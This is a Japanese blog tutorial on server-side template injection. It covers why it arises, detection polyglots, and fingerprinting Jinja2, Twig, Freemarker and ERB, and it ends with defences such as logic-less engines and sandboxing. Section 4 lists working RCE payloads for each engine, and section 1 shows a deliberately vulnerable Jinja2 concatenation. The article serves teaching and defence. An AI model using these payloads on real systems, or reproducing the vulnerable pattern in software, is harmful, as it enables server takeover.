# SSTI（サーバーサイドテンプレートインジェクション）の完全攻略【2026】検出・エンジン特定・RCE — 公式ドキュメント忠実版

> サーバーサイドテンプレートインジェクション（SSTI）の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。脆弱性が生まれる原因、検出（ポリグロット ${{<%[%'"}}%\ と数式評価）、テンプレートエンジンの特定（Jinja2/Twig/Freemarker/ERB）、情報漏洩からファイル読取・リモートコード実行（RCE）への悪用、そして『ユーザー入力をテンプレートにしない』『ロジックレスエンジン・サンドボックス』による根本対策までを、自分のラボ限定の実例で解説します。

- 公開日: 2026-06-28
- 著者: 友田 陽大
- タグ: セキュリティ, ホワイトハッカー, SSTI, 脆弱性診断, Webセキュリティ
- URL: https://tomodahinata.com/blog/server-side-template-injection-ssti-rce-detection-exploitation-guide
- カテゴリ: 実践Webハッキング技法
- 総合ガイド: https://tomodahinata.com/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## 要点

- SSTIの本質は『ユーザー入力を、データではなくテンプレートのコードとして連結する』こと。テンプレートエンジンはサーバー上でコードを評価するため、刺さると情報漏洩からRCEまで一気に到達し得る最も危険なクラスの一つ
- 検出：まずポリグロット ${{<%[%'"}}%\ を投げてエラーや異常を観測。プレーンテキスト文脈なら ${7*7} や {{7*7}} を入れて『49』が返れば、サーバー側でコードが評価されている＝SSTI確定
- エンジン特定が悪用の鍵：{{7*7}}と${7*7}の効き方、エラーメッセージ、エンジン固有構文で切り分ける。Jinja2(Python)/Twig(PHP)/Freemarker(Java)/ERB(Ruby)で悪用ペイロードが全く異なる
- 悪用はエンジンのオブジェクトグラフを辿る。Jinja2なら組み込みオブジェクトからサブクラスを辿りos.popenへ到達してRCE。ERBなら直接システムコマンド。XSS止まりに見えても、サーバー実行＝影響は桁違い
- 根本対策は『ユーザー入力をテンプレートに連結しない』こと。入力はテンプレート変数として『データ』で渡す。ユーザー提供テンプレートが必要ならロジックレス(Mustache)・サンドボックス・最小権限コンテナで隔離する

---

SSTI（サーバーサイドテンプレートインジェクション）は、**Webアプリ脆弱性の中でも最も影響が大きいクラスの一つ**です。[PortSwigger](https://portswigger.net/web-security/server-side-template-injection) の定義通り「攻撃者がテンプレートのネイティブ構文で悪意あるペイロードを注入し、それがサーバー側で実行される」もので、しばしば**リモートコード実行（RCE）**——つまりサーバー乗っ取りに直結します。本記事は、その攻撃手法を公式に忠実に解説します。

> **絶対の前提:** SSTIは容易にRCEへ至るため、**極めて侵襲的**です。実行は [合法ラボ](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide) または書面で許可されたスコープでのみ。本番でのRCE実証は影響が甚大なので、許可範囲と手順を依頼者と事前合意すること（→ [法律ガイド](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)）。地図は [ピラー](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide)。

---

## 1. SSTIの本質 — 入力を「コード」として連結する

テンプレートエンジン（Jinja2, Twig, Freemarker, ERB…）は、`{{ name }}` のようなプレースホルダを実データに差し替えてHTMLを生成します。問題は、**ユーザー入力そのものをテンプレート文字列に連結**してしまうとき。

```python
# ❌ 脆弱：ユーザー入力 name をテンプレート「コード」に連結している（Jinja2）
from jinja2 import Template
output = Template("Dear " + request.args["name"]).render()
#                            └─ ここに {{7*7}} を入れると、サーバーが評価する

# ✅ 安全：入力は「データ」としてレンダ変数で渡す（テンプレートは固定）
output = Template("Dear {{ name }}").render(name=request.args["name"])
```

上の脆弱な例に `name={{7*7}}` を渡すと、出力は **`Dear 49`**。**サーバー上でコードが評価された**証拠です。

---

## 2. 検出 — ポリグロットと数式評価

PortSwigger の方法論は **検出 → エンジン特定 → 悪用** の3段。まず検出です。

### 2.1 ポリグロットで「壊す」

複数エンジンの特殊文字を一度に含む**ポリグロット**を投げ、エラーや異常応答を観測します。

```text
${{<%[%'"}}%\
```

これでエラー（例外・スタックトレース・500）が出れば、テンプレート処理に届いている可能性が高い。

### 2.2 文脈で数式を評価させる

PortSwigger は2つの文脈を区別します。

- **プレーンテキスト文脈**：出力にそのまま埋まる。`${7*7}` や `{{7*7}}` を入れ、**`49` が返れば確定**。
- **コード文脈**：既存の式の中に入る（例 `greeting=data.name`）。まず式を**閉じてから**注入する（`}}` や `"` でブレイクアウト）。

```text
# プレーンテキスト文脈
{{7*7}}     → 49 なら Jinja2/Twig 系
${7*7}      → 49 なら Freemarker/一部エンジン
<%= 7*7 %>  → 49 なら ERB(Ruby)
#{7*7}      → 49 なら 一部エンジン
```

---

## 3. エンジン特定 — 悪用ペイロードはエンジン依存

**どのエンジンか**で悪用方法が全く違うため、特定が悪用の鍵です。`{{7*7}}` と `${7*7}` の効き方、エラーメッセージの文言、エンジン固有構文で切り分けます。

```text
# 切り分けの例
{{7*7}} が 49、{{7*'7'}} が 7777777 → Jinja2(Python)
{{7*7}} が 49、{{7*'7'}} が 49        → Twig(PHP)
${7*7} が 49                          → Freemarker(Java) / 一部
<%= 7*7 %> が 49                      → ERB(Ruby)
```

エラーメッセージにライブラリ名（`jinja2`, `Twig\Error` 等）が出れば一発で特定できます。

---

## 4. 悪用 — 情報漏洩からRCEへ

### 4.1 Jinja2（Python）— オブジェクトグラフを辿る

Jinja2では、組み込みオブジェクトから**サブクラスを辿って**危険な関数（`os.popen` 等）へ到達します。

```python
# 設定値や環境を覗く（情報漏洩）
{{ config }}
{{ config.items() }}

# RCEへ：サブクラス経由で OS コマンドを実行する古典的経路（概念・lab限定）
{{ ''.__class__.__mro__[1].__subclasses__() }}   # 利用可能なクラスを列挙
{{ cycler.__init__.__globals__.os.popen('id').read() }}   # コマンド実行
```

### 4.2 ERB（Ruby）/ Freemarker（Java）/ Twig（PHP）

```text
# ERB(Ruby)：素直にシステムコマンドを書ける
<%= system("id") %>
<%= `id` %>

# Freemarker(Java)：実行系オブジェクトを生成
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

# Twig(PHP)：フィルタ経由で関数呼び出し
{{ ['id'] | filter('system') }}
```

> **重要な視点:** SSTIは一見「数式が評価されるだけ」に見えても、**サーバー上で任意コードが走る**点でXSSとは影響の桁が違います。`{{7*7}}=49` を見た瞬間に「これはRCEになり得る」と判断するのがプロです。

---

## 5. 【守る側】根本対策

PortSwigger と [OWASP](https://owasp.org/www-project-web-security-testing-guide/) の結論は明快です。

```python
# ✅ 最大の対策：ユーザー入力を「テンプレート」にしない。常に「データ」で渡す
template = env.get_template("greeting.html")   # テンプレートは固定の信頼済みファイル
html = template.render(name=user_input)        # 入力は変数として注入されるだけ（安全）
```

設計原則：

- **ユーザー入力をテンプレート文字列に連結しない**（最重要）。入力は必ずレンダ変数＝データとして渡す。
- **ユーザーにテンプレート編集を許さない**。どうしても必要なら：
  - **ロジックレスエンジン**（[Mustache](https://mustache.github.io/) 等）を使い、任意コード評価の余地を断つ。
  - **サンドボックス**化（信頼できないテンプレートを隔離環境で評価）。ただしサンドボックス脱出の研究もあるため過信しない。
  - **最小権限コンテナ**で隔離し、RCEが起きても被害を封じ込める。
- **多層防御**：WAF・出力の監視・最小権限のプロセス実行。これらは「設計の代わり」ではなく保険。

SSTIは「機能としてテンプレートをユーザーに開放する」設計判断（メール文面のカスタマイズ等）と表裏一体です。**その機能が本当に必要か（YAGNI）**から問い直すのが、最も確実な防御になります。脅威モデリングで設計段階に潰す方法は [STRIDE脅威モデリングガイド](/blog/threat-modeling-stride-data-flow-diagram-secure-design-practical-guide) を参照。

---

## 6. まとめ

- **本質**：ユーザー入力をテンプレートの「コード」として連結すると、サーバーでコードが評価される。
- **検出**：ポリグロット `${{<%[%'"}}%\` → 数式 `{{7*7}}`/`${7*7}` が `49` なら確定。
- **エンジン特定が鍵**：`{{7*'7'}}` 等で Jinja2/Twig/Freemarker/ERB を切り分ける。
- **悪用**：オブジェクトグラフを辿りRCEへ。XSSと違いサーバー実行＝影響甚大。
- **根本対策**：入力をテンプレートにしない。必要ならロジックレス・サンドボックス・最小権限隔離。

これで本クラスタの主要な攻撃手法は一通りです。攻撃の理解を防御設計へ昇華させる流れは [ピラー](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide) に戻って俯瞰し、実戦は [バグバウンティ](/blog/bug-bounty-getting-started-hackerone-bugcrowd-scope-report-disclosure-guide) で合法に磨いてください。

---

### 参考（公式一次情報）

- [PortSwigger: Server-side template injection](https://portswigger.net/web-security/server-side-template-injection) ／ [Exploiting SSTI](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [OWASP: Web Security Testing Guide（SSTIテスト）](https://owasp.org/www-project-web-security-testing-guide/) ／ [OWASP Top 10:2025](https://owasp.org/Top10/2025/)
- [Mustache（ロジックレステンプレート）](https://mustache.github.io/)
